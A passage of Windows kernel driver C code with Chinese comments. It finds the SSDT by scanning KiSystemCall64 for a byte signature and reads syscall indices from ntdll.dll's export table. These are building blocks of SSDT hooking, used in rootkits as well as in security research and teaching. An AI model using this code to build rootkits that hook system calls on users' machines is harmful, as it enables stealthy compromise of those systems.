UCHAR ulCode2 = 0;
UCHAR ulCode3 = 0;
// 注意使用有符号整型
LONG lOffset = 0;

#ifndef _WIN64
// 32 Bits
pServiceDescriptorTable = (PVOID)(&KeServiceDescriptorTable);
#else
// 64 Bits
// 获取 KiSystemCall64 函数地址
pKiSystemCall64 = (PVOID)__readmsr(0xC0000082);
// 搜索特征码 4C8D15
for (ULONG i = 0; i < 1024; i++)
{
// 获取内存数据
ulCode1 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i));
ulCode2 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 1));
ulCode3 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 2));
// 判断
if (0x4C == ulCode1 &&
0x8D == ulCode2 &&
0x15 == ulCode3)
{
// 获取偏移
lOffset = *((PLONG)((PUCHAR)pKiSystemCall64 + i + 3));
// 根据偏移计算地址
pServiceDescriptorTable = (PVOID)(((PUCHAR)pKiSystemCall64 + i) + 7 + lOffset);
break;
}
}
#endif

return pServiceDescriptorTable;
}


// 从 ntdll.dll 中获取 SSDT 函数索引号
ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName)
{
ULONG ulFunctionIndex = 0;
NTSTATUS status = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hSection = NULL;
PVOID pBaseAddress = NULL;

// 内存映射文件
status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress);
if (!NT_SUCCESS(status))
{
KdPrint(("DllFileMap Error!\n"));
return ulFunctionIndex;
}

// 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号
ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName);

// 释放
ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress);
ZwClose(hSection);
ZwClose(hFile);

return ulFunctionIndex;
}

// 内存映射文件
NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress)
{
NTSTATUS status = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hSection = NULL;
OBJECT_ATTRIBUTES objectAttributes = { 0 };
IO_STATUS_BLOCK iosb = { 0 };
PVOID pBaseAddress = NULL;
SIZE_T viewSize = 0;
// 打开 DLL 文件, 并获取文件句柄
InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb,
FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
if (!NT_SUCCESS(status))
{
KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status));
return status;
}
// 创建一个节对象, 以 PE 结构中的 SectionALignment 大小对齐映射文件
status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile);
if (!NT_SUCCESS(status))
{
ZwClose(hFile);
KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status));
return status;
}
// 映射到内存
status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE);
if (!NT_SUCCESS(status))
{
ZwClose(hSection);
ZwClose(hFile);
KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status));
return status;
}

// 返回数据
*phFile = hFile;
*phSection = hSection;
*ppBaseAddress = pBaseAddress;

return status;
}

// 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号
ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName)
{
ULONG ulFunctionIndex = 0;
// Dos Header
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress;
// NT Header
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew);
// Export Table
PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
// 有名称的导出函数个数
ULONG ulNumberOfNames = pExportTable->NumberOfNames;
// 导出函数名称地址表
PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames);
PCHAR lpName = NULL;
// 开始遍历导出表
for (ULONG i = 0; i < ulNumberOfNames; i++)
{
lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]);
// 判断是否查找的函数
if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName)))
{
// 获取导出函数地址
USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i);
ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint);
PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr);
// 获取 SSDT 函数 Index
#ifdef _WIN64
ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4);
#else
ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1);
#endif
break;
}
}

return ulFunctionIndex;
}